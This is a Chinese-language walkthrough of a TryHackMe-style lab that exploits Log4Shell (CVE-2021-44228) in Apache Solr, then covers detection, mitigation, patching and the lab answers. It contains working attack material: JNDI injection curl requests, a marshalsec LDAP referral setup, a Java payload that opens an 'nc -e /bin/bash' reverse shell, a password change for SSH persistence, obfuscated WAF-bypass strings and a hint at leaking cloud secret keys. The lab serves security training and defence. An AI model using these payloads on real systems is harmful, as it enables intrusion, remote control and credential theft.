Solar, exploiting log4j
Solar, exploiting log4j
CVE-2021-44228 介绍
于2021年12月9日,全球得知了一个新的漏洞,被命名为CVE-2021-44228,影响了Java日志包log4j。该漏洞被评定为10.0分(最严重的等级),并且可利用该log4j版本的软件与主机进行远程代码执行。这种攻击被称为"Log4Shell"。
今天,log4j 2.16.0 版本已经发布,修复了这个漏洞(完全禁用了JNDI,移除了对消息查找的支持,并且不再存在新的拒绝服务漏洞CVE-2021-45046)。请参考以下链接获取更多信息:https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0
然而,这个漏洞的巨大危险性在于日志包的广泛使用。数百万的应用程序和软件供应商将此包作为依赖项使用在自己的代码中。尽管您可以通过使用log4j来修补自己的代码库,但其他供应商和制造商仍需要向下游推送自己的安全更新。许多安全研究人员将这个漏洞与Shellshock相提并论,因为其攻击面广阔。我们将在未来数年内持续看到这个漏洞的存在。 若要查看一个逐渐增长的社区支持的软件和服务列表,这些软件和服务易受CVE-2021-44228漏洞影响,请访问以下GitHub存储库:
该资源将展示如何测试、利用和缓解Log4j中的这个漏洞。
虽然有许多其他关于CVE-2021-44228的文章、博客、资源和学习材料,但我(本次练习的作者)特别偏爱以下内容:
- https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java
- https://log4shell.huntress.com/
- https://www.youtube.com/watch?v=7qoPDq41xhQ
作者的声明:
请利用您在本次训练中所学到的信息来提升安全防护。测试您拥有的系统,根据需要应用补丁和缓解措施,并帮助整个行业进行恢复。这是一个非常当前和真实的威胁,无论您是渗透测试人员、红队成员、事件响应人员、安全分析师、蓝队成员或其他身份,本次练习旨在帮助您和全世界了解和意识到这个广泛存在的漏洞。不应将其用于非法获取或自私的财务激励(我在说你们,赏金猎人们)。
此外,请记住,log4j包的开发人员是出于对开源项目的热爱和热情而从事此工作的志愿者开发人员。他们在业余时间维护着自己的项目。对这些人绝对不能进行抨击、羞辱或恶意行为。和所有事物一样,请进一步增加您的知识,以便成为信息安全社区的支柱和支持者。教育、分享和帮助他人。
回答下列问题
- 根据上述内容,部署目标虚拟机。
- 我们建议您在这些练习中使用TryHackMe的基于Web的AttackBox,但本地利用的详细说明也已提供。要启动AttackBox,请单击页面顶部的蓝色"Start AttackBox"按钮。
侦察
目标虚拟机中包含使用此漏洞的log4j
包的软件,为您提供了一个探索该漏洞的场所。
在部署虚拟机后,您应该会发现该虚拟机的IP
地址,您可以通过TryHackMe VPN
或提供的AttackBox
来访问该IP
地址。
在开始,首先进行基本的侦察,了解该机器上开放了哪些端口。最好使用Linux
发行版(如Kali Linux
、ParrotOS
、Black Arch
或其他您选择的版本)和nmap
命令行工具来完成这项任务:
attackbox@tryhackme$ nmap -v Machine-IP
目标上的应用程序特定使用的端口可能不会立即被nmap
注意到。为了获得“整体视角”,请执行如下所示的全端口扫描:
attackbox@tryhackme$ nmap -v -p- Machine-IP
回答下列问题
请扫描机器以确定哪些端口是可访问的。
在端口
8983
上运行的是什么服务?(只需提供软件的名称)Apache Solr
方法:
└─# nmap -sV -p 8983 Machine-IP Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-10 09:17 EDT Nmap scan report for Machine-IP Host is up (0.26s latency). PORT STATE SERVICE VERSION 8983/tcp open http Apache Solr
发现
该目标机器正在运行Apache Solr 8.11.0
,这是一个已知包含此漏洞的log4j
包的软件示例之一。为了展示这个漏洞,该应用程序运行在Java 1.8.0_181
上。
通过访问http://Machine-ip:8983
,探索可访问的Web界面,并点击浏览以熟悉应用程序。有关Apache Solr
的更多详细信息,请参考官方网站:https://solr.apache.org/
此Apache Solr
实例没有任何数据。它是一个干净、基本和绝对最小的安装——然而,它的核心仍然容易受到CVE-2021-44228
漏洞的攻击。
回答下列问题
仔细查看导航到
http://Machine-ip:8983
时可见的第一个页面。您应该能够清楚地看到log4j
在应用程序中用于记录活动的指示。在首页上,-Dsolr.log.dir
参数设置为了什么?/var/solr/logs
方法:
访问网页首页得到
-Dsolr.log.dir=/var/solr/logs
下载附件中的文件(位于任务右上角),查看
Solr
中的一些示例日志文件。探索每个文件,至少了解一下显示在哪个日志中。其中一个文件中有大量的
INFO
条目,显示对一个特定URL
端点的重复请求。哪个文件包含了这个重复的条目?(只需提供文件名,不需要路径)solr.log
方法:
查看文件即可
这些重复条目中指示了哪个"路径"或
URL
端点?/admin/cores
方法:
查看文件即可
查看这些日志条目,哪个字段名称指示了某个用户可以控制的数据入口点?(只需提供字段名称)
params
概念验证
请注意,您刚刚发现的URL
端点在从Web
界面查看时需要以solr/
前缀为前缀。这意味着您应该访问:
http://Machine-ip:8983/solr/admin/cores
您还注意到日志文件中似乎包含了params
。此时,您可能已经开始看到攻击向量。
log4j
包通过“解析”条目为日志添加额外逻辑,最终为了丰富数据,但也可能根据条目数据采取行动甚至评估代码。这就是CVE-2021-44228
的要点。实际上,其他语法可能会像输入到日志文件中一样执行。
该语法的一些示例如下:
${sys:os.name}
${sys:user.name}
${log4j:configParentLocation}
${ENV:PATH}
${ENV:HOSTNAME}
${java:version}
您可能已经知道了滥用这个log4j
漏洞的一般有效载荷。通常利用这个漏洞的语法格式如下所示:
${jndi:ldap://ATTACKERCONTROLLEDHOST}
此语法表示log4j
将调用"JNDI"(Java命名和目录接口)的功能。最终,这可以用于访问外部资源或"引用",这就是此攻击中的武器化对象。
请注意ldap://
模式。这表示目标将通过LDAP
协议连接到一个端点(在此攻击中,是一个由攻击者控制的位置)。为了简洁起见,我们不需要在这里涵盖LDAP
的所有细节,但需要知道我们在完善攻击时需要处理这个问题。
目前,需要知道目标实际上会连接到一个外部位置。这通过上述语法中的ATTACKERCONTROLLEDHOST
占位符表示。在这种情况下,您作为攻击者可以托管一个简单的监听器来查看这个连接。
下一个问题是,我们可以在哪里输入这个语法?
任何有应用程序记录数据的地方。
这是这个漏洞的关键所在。不幸的是,很难确定不同应用程序的攻击面在哪里,从而确定哪些应用程序实际上是有漏洞的。仅仅看到log4j文件的存在并不能准确得知版本号,甚至无法确定应用程序如何使用这个包。
回想一下之前的任务。您已经发现您可以向/solr/admin/cores
URL提供参数,现在您对log4j
的工作原理有了更好的了解,您应该明白这是您提供注入语法的地方。您可以简单地提供HTTP GET
变量或参数,然后这些变量将被log4j
处理和解析。只需要这一行文本,就可以非常轻松地利用这个漏洞。
其他可能提供JNDI
语法的位置包括:
- 输入框、用户和密码登录表单、应用程序中的数据输入点
HTTP
标头,如User-Agent
、X-Forwarded-For
或其他可自定义的标头- 任何用户提供数据的地方
如果您想了解更多关于这个JNDI
攻击向量的信息,请查看2016
年的这个Black Hat USA
演示文稿:
回答下列问题
为了准备您的测试环境以测试漏洞并接收连接,请使用以下命令查看您自己攻击机的
IP
地址:attackbox@tryhackme$ ip addr show
在您选择的任何端口上准备一个
netcat
监听器(9999
是一个不错的选择):attackbox@tryhackme$ nc -lnvp 9999
现在您已经准备好了监听器,可以通过将这个基本的
JNDI
有效载荷语法作为HTTP
参数的一部分发起请求来进行测试。这可以使用curl
命令行实用程序轻松完成。attackbox@tryhackme$ curl 'http://Machine-ip:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:9999\}'
请注意,由于您的语法中使用了
$
符号,因此您必须确保将URL
用单引号括起来,这样bash
(您的命令行shell)就不会将其解释为变量。此外,您必须用单个反斜杠字符对{ }
大括号进行转义,以避免在curl
命令参数中错误解析它们。在您的
netcat
监听器中看到以下消息,以确认您已收到连接:Connection received from Machine-ip
利用
在这一步,通过在netcat
监听器中捕获到连接,您已经验证目标确实存在漏洞。然而,它发起了一个LDAP请求,所以您在netcat
监听器中看到的可能只是不可打印的字符(看起来像是奇怪的字节)。现在,我们可以在此基础上进行扩展,以使用真正的LDAP处理程序进行响应。
我们将利用一个开源的公共工具来部署一个"LDAP Referral Server"(LDAP引荐服务器)。这将用于将受害者的初始请求重定向到另一个位置,您可以在该位置托管一个次级有效载荷,最终在目标上运行代码。具体步骤如下:
${jndi:ldap://attackerserver:1389/Resource}
-> 联系我们的LDAP引荐服务器- LDAP引荐服务器将请求引导到次级http://attackerserver/resource
- 受害者检索并执行http://attackerserver/resource中的代码
这意味着我们需要一个HTTP服务器,您可以使用以下选项之一(在端口8000上提供服务)来托管它:
python3 -m http.server
php -S 0.0.0.0:8000
- 或者您喜欢的其他
busybox httpd
或正式的Web
服务
如果您在以下任何步骤中遇到困难,我们有一段视频展示了使用AttackBox进行每个步骤以实现远程代码执行:https://youtu.be/OJRqyCHheRE
回答下列问题
阅读并理解上述攻击链。
然而,首要任务是获取
LDAP
引荐服务器。我们将使用在https://github.com/mbechler/marshalsec
提供的marshalsec
实用程序。 最终,这需要运行
Java
。查看该实用程序的README
,建议使用Java 8
。(您可能使用其他版本可能会成功,但为了“遵循规则”,我们将与目标虚拟机上使用的相同版本匹配) 如果您使用的是
TryHackMe
的AttackBox
,请不要按照下面的步骤操作——继续下一个问题。 查看安装
Java 8
的步骤(仅在不使用AttackBox
时才执行) 如果您在AttackBox
中未运行1.8.0_181
版本,可以查看下面的update-alternatives --set
步骤,切换到这个Java 8
版本。 如果您使用的是连接到
VPN
的自己的攻击机器,您可能需要按照以下步骤下载并安装Java 1.8.0_181
: 您可以在此位置找到在
Linux
上运行不同Java
版本的镜像:http://mirrors.rootpei.com/jdk/ 选择
jdk-8u181-linux-x64.tar.gz
包(或者,为了方便起见,可以下载附加到本任务的文件)。 将其下载到攻击机器上,并运行以下命令以将系统配置为默认使用此
Java
版本(根据需要调整下载文件系统路径):sudo mkdir /usr/lib/jvm cd /usr/lib/jvm sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz # 根据需要修改 sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1 sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1 sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1 sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws
在下载、解压并设置了适当的文件系统设置(
update-alternatives
的语法)之后,您应该能够运行java -version
并验证您实际上正在运行Java 1.8.0_181
。按照上述步骤进行操作,并验证您正在运行
Java 1.8.0_181
。接下来,我们需要获取之前提到的marshalsec实用程序。如果您使用的是AttackBox,请导航到/root/Rooms/solar/marshalsec目录。
attackbox@tryhackme$ cd /root/Rooms/solar/marshalsec
查看在本地下载marshalsec的步骤(仅在不使用AttackBox时才执行)
您可以使用git下载文件。 如果您尚未安装git,可以通过您的软件包管理器(通常是Debian或基于Ubuntu的Linux发行版上的apt)进行安装: sudo apt install git 在您选择的任何文件系统位置克隆存储库(我建议使用/tmp或/opt): git clone https://github.com/mbechler/marshalsec 下载并切换到这个新文件夹(cd marshalsec)。
我们需要使用Java构建工具Maven来构建marshalsec。如果您的系统上尚未安装Maven,可以通过您的软件包管理器进行安装(如果您使用的是AttackBox,则不需要):
sudo apt install maven
然后,运行以下命令来构建marshalsec实用程序:
attackbox@tryhackme:~/root/Rooms/solar/marshalsec$ mvn clean package -DskipTests
请注意,免费用户的AttackBox没有互联网,不会安装Maven软件包。要完成此实验,请订阅并使用AttackBox,或在本地安装marshalsec工具。
使用构建好的marshalsec实用程序,我们可以启动一个LDAP引荐服务器,将连接指向我们准备的次级HTTP服务器(我们稍后会进行准备)。您可以自由地了解该工具的用法、参数和其他可配置的设置,但出于演示的目的,启动LDAP服务器的语法如下:
attackbox@tryhackme:~/root/../marshalsec$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
根据需要调整攻击机器的IP地址。请注意,我们将使用8000端口进行监听。
运行此命令的输出是什么?(您应该保留此终端窗口打开,它将主动等待连接)
答案:
Listening on 0.0.0.0:1389
现在,我们的LDAP服务器已经准备好并等待连接,我们可以打开第二个终端窗口来准备我们的最终有效载荷和次级HTTP服务器。
最终,log4j漏洞将执行您在Java编程语言中编写的任意代码。如果您对Java不熟悉,不要担心——我们将使用简单的语法,只需在其中执行系统命令。实际上,我们将获取一个反向shell连接,以便我们可以控制目标机器!
创建并进入一个新目录,您可以在其中托管此有效载荷。首先,使用您选择的文本编辑器(mousepad,nano,vim,Sublime Text,VS Code等)创建有效载荷,并将其命名为
Exploit.java
:public class Exploit { static { try { java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999"); } catch (Exception e) { e.printStackTrace(); } } }
根据需要修改攻击者的IP地址和端口号(我们将使用9999作为示例端口号,与之前一样)。
对于此有效载荷,您可以看到我们将在目标上执行一个命令,具体是nc -e /bin/bash来回调到我们的攻击者机器上。该目标已经配置了ncat以便于利用,但您也可以随意尝试其他有效载荷。
使用
javac Exploit.java -source 8 -target 8
编译您的有效载荷,并通过运行ls命令并查找新创建的Exploit.class
文件来验证是否成功;如果不使用AttackBox,请从命令中删除“-source 8 -target 8”。attackbox@tryhackme$ javac Exploit.java -source 8 -target 8
在保存Exploit.java文件的同一文件夹下运行上述程序
在创建和编译有效载荷后,您现在可以通过启动临时HTTP服务器来托管它。
attackbox@tryhackme$ python3 -m http.server
您已经创建和编译了有效载荷,并在一个终端中使用HTTP服务器进行了托管,另一个终端中的LDAP引荐服务器已经准备好并等待连接。接下来,在另一个新的终端窗口中准备一个netcat监听器来接收反向shell连接:
attackbox@tryhackme$ nc -lnvp 9999
最后,我们只需要触发漏洞并发送我们的JNDI语法!注意端口号的变化(现在指向我们的LDAP服务器)以及我们检索的资源,指定我们的攻击载荷: 根据需要修改您的攻击者IP地址。
attackbox@tryhackme$ curl 'http://Machine-Ip:8983/solr/admin/cores?foo=$\{jndi:ldap://YOUR.ATTACKER.IP.ADDRESS:1389/Exploit\}'
这将触发漏洞并执行我们的JNDI语法。 运行上述命令,在netcat监听器中捕获一个反向shell!
您现在已经获得对一个纯净的、全新安装的Apache Solr实例的初始访问和命令与控制。这只是众多受到这个log4j漏洞影响的易受攻击应用程序中的一个示例。
在这一点上,威胁行为者可以实际上对受害者进行任何他们想要的操作,无论是特权升级、数据泄露、持久化安装、横向移动还是其他任何后渗透操作,潜在地会释放加密货币挖矿程序、远程访问木马、信标和植入物,甚至部署勒索软件。
所有这一切只需要一行文本和一点使用免费可用工具的设置。这正是为什么在2021年12月9日的那个周末,整个互联网都非常焦虑的原因。
请拥抱您认识的所有事件响应人员。
故障排除信息
如果您没有看到反向shell连接成功,确保重新检查您的Exploit.java文件。 1. 确保Java语法中没有拼写错误(忘记分号或闭合大括号)。 2. 确保您的攻击者IP地址与您网络接口的ip addr show输出中显示的地址匹配。 3. 确保端口号与您的netcat监听器等待和提供服务的端口号相匹配。 如果需要对Exploit.java文件进行任何更改或更正,请记住使用javac Exploit.java重新编译它。 检查您的HTTP服务器。 1. 确保它确实在运行。 2. 确保它在与您的Exploit.java文件相同的文件夹中运行。 当您运行curl命令触发漏洞时,您应该按顺序看到以下情况: 1. 在LDAP服务器上建立的连接, 2. 在HTTP服务器上建立的连接, 3. 在netcat监听器中建立的连接。 一旦您收到连接,您可能不会看到一个"提示符"。您仍然可以输入命令来检查是否具有shell。
在获得反向shell后,可以尝试使用
Exploit.java
有效载荷运行其他命令。作为读者的练习——您能否加载一个Meterpreter shell?如何加载一个Empire代理?Cobalt Strike信标呢?
持久化
现在您已经在受害者机器上获得了反向 shell 连接,可以继续采取任何您想采取的行动。
为了更好地了解这个log4j
漏洞,让我们授予自己 "更好的访问权限",这样我们就可以探索机器、分析受影响的日志,甚至缓解漏洞!
通过之前的nmap
扫描,您可能已经注意到主机上的 SSH(端口 22)是开放的。当时我们不知道任何用户名或密码,因此尝试对抗该协议是没有用的,但现在你可以以用户身份执行代码,就有可能添加私钥或更改密码。
回答下列问题
查看在反向 shell 环境中运行的用户账户。
whoami
What user are you?
答案:
solr
如果你想"稳定你的shell"以便更轻松地输入命令,你可以使用常见的升级技巧(假设你正在运行bash shell。如果你在zsh中运行,你需要在bash子shell中启动netcat监听器...重新利用应该很容易):
(在反向shell中)python3 -c "import pty; pty.spawn('/bin/bash')" (按下键盘)Ctrl+Z (按下键盘)Enter (在本地主机上)stty raw -echo (在本地主机上)fg(你将看不到你的按键——相信自己,然后按Enter) (按下键盘)Enter (按下键盘)Enter (在反向shell中)export TERM=xterm
你现在有一个稳定的
shell
,可以安全地使用左右箭头键来移动你的输入,上下箭头键来查看命令历史记录,Tab
键进行自动补全,以及安全地使用Ctrl+C
来停止运行程序!检查超级用户权限。为了方便您在本练习中,您的用户应该具有
sudo
特权,无需任何密码。sudo -l
如果您想要授予自己持久性并通过SSH访问机器,请暂时成为root用户并更改solr用户的密码为您选择的密码。这样,您就可以根据需要进行SSH连接!
sudo bash passwd solr
在另一个终端窗口中,使用新凭证 SSH 登录机器。
attackbox@tryhackme$ ssh solr@MACHINE_IP
检测
很不幸,找到存在CVE-2021-44228
“Log4Shell”漏洞的应用程序很困难。
考虑到潜在的无限绕过可能性,检测利用甚至可能更加困难。
尽管如此,信息安全社区已经看到了大量的努力和支持,以开发工具、脚本和代码来更好地限制这种威胁。虽然本文不会详细展示每个技术,但您可以在网上找到大量的资源。
以下是可能有所帮助的片段:
- 本地,基于
log4j JAR
文件的哈希值 - 本地,基于log4j CLASS文件的哈希值
- 易受攻击的JAR和CLASS哈希列表
- 本地,在PowerShell中寻找易受攻击的log4j包
- 本地,YARA规则
提醒一下,这里有一个巨大的资源
回答下列问题
- 要查看我们自己的日志,请使用 SSH 连接或反向 shell 进入存储 Solr 日志的目录。(你已经知道这个路径是什么——你在任务 #3 中已经给出了答案)
- 查看已知受
log4j
漏洞影响的日志文件。- 注意日志中包含的
JNDI
攻击语法!如果您想做更多实验,请尝试下面任务中提到的一些绕过方法。
绕过
我们展示的 JNDI 有效载荷是执行这种攻击的标准和 "典型 "语法。
如果你是渗透测试员或红队成员,这种语法可能会被Web应用防火墙(WAF)捕获或轻松检测到。如果你是蓝队成员或事件响应者,你应该积极寻找和检测这种语法。
因为这次攻击利用了log4j
,所以有效载荷最终可以访问软件包提供的所有扩展、替换和模板技巧。这意味着威胁行为者可以使用任何技巧来隐藏、掩盖或混淆有效载荷。
考虑到这一点,有无数种绕过这种语法的方法。虽然我们不会在这个练习中深入探讨细节,但鼓励您在这个环境中尝试。仔细阅读它们,了解使用什么技巧来伪装原始语法。
有许多在线资源展示了一些这些绕过的示例,以下提供了一些:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
注意最后一条中使用了rmi://
协议。这也是可以与marshalsec
工具一起使用的另一种有效技术——请随意尝试!
此外,在log4j
引擎中,您可以扩展任意环境变量(如果这还不够糟糕的话)。考虑一下即使进行远程代码执行,但只需简单的LDAP连接和${env:AWS_SECRET_ACCESS_KEY}
的泄露就可能造成的损害。
对于其他技术,我们强烈建议您自行研究。在这个Reddit 帖子中分享了大量信息。
回答下面的问题
阅读以上内容,提醒自己是一名具有强烈道德观的安全专业人员。
缓解
现在你已经扮演了一段时间的对手,现在请摘下你的黑客帽,让我们来减轻这个易受攻击的机器上的漏洞!请查看Apache Solr网站上建议的缓解技术。
一种选择是使用特定语法手动修改solr.in.sh
文件。为了展示这种防御策略,让我们走这条路线。
如果你想直接SSH进入机器,凭证是:用户名为vagrant
,密码为vagrant
。
回答下列问题
确定此目标机器的文件系统上的
solr.in.sh
文件的位置。您可以使用以下命令快速完成此操作:user@machine$ locate solr.in.sh
你可能会看到两个结果——我们需要对应于系统范围配置的那个(如果你不明白这是什么意思,请参考提示:你应该看到一个以
/etc
开头的路径。复制并粘贴此完整路径作为答案。) 特定的solr.in.sh
文件的完整路径是什么?答案:
/etc/default/solr.in.sh
Apache Solr 网站的安全页面解释了你可以将以下特定语法添加到
solr.in.sh
文件中:SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"
使用你选择的文本编辑器修改
solr.in.sh
文件。如果你不是root
用户,你需要使用sudo
前缀借用root
权限。 滚动到文件底部,添加一行新的语法。保存并关闭文件。现在配置文件已经修改,服务仍然需要重新启动才能生效。
这个过程可能因安装而异,但对于此服务器,您可以使用以下语法重新启动服务:
user@machine$ sudo /etc/init.d/solr restart
运行上述命令,等待 Apache Solr 服务成功重启。
为了验证补丁已经生效,启动另一个
netcat
监听器,然后在两个不同的终端中启动临时LDAP引用服务器和HTTP服务器。您需要重新创建相同的设置以重新利用该机器。
user@machine$ nc -lnvp 9999
如果您需要复习命令语法,请向上滚动到任务 #5。
使用与任务 #5 中相同的
curl
命令语法重新入侵服务器。你应该看到没有请求发送到你的临时LDAP服务器,因此没有请求发送到你的HTTP服务器,也没有反向shell发送回你的
netcat
监听器!验证这个Apache Solr实例现在已经对Log4shell漏洞进行了缓解!
补丁
在创建这个练习时,Apache Solr 8.11.1 尚未发布修复 CVE-2021-44228 的正式补丁。和许多其他软件提供商一样,整个行业都在疯狂地抢修他们的软件,并尽快将补丁推送给最终用户。
**请理解这种紧张局势。**这个log4j漏洞可能存在于许多潜在的位置,我们可能在很长一段时间内都无法结束这个漏洞。我们每个人都有责任提高对这个事件的认识,并要求社区积极作出回应。在时机成熟时,推出已经可用的补丁,并继续寻找此漏洞的实例。这需要大家的共同努力。
在适当的情况下,请确保将logging-log4j
包升级到2.16.0
版本或更高版本(随着新版本的发布)。在2.16.0
版本中,完全禁用了 JNDI,删除了对消息查找的支持,并且不包含新的DoS
漏洞CVE-2021-45046
。可以在此处下载此版本
如果你负责识别使用log4j
的易受攻击服务,请查看此处列出的一些主要受影响的服务/产品清单。
回答下列问题
"我理解这其中的含义,并将尽早、经常、始终如一地进行修补"。
致谢和作者说明
感谢你一直阅读到最后,我真诚地希望你阅读这些告别的话语。
这个练习是出于真心希望它以正确的原因提高你对这个漏洞的认识、学习和理解。所呈现给你的内容,是由整个行业的安全研究人员、事件响应者、系统管理员和安全从业者的不可思议的贡献所实现。我们对那些不眠不休地工作、放弃周末和与家人朋友共度时光的专业人员表示无尽的感谢,他们为了更好地保护整个互联网而付出了不懈的努力。
虽然“好莱坞式黑客”看起来很酷和闪耀,但网络安全是一项团队运动。请查阅外部资源,让这个社区变得更好。
回答下面的问题
去做伟大的事情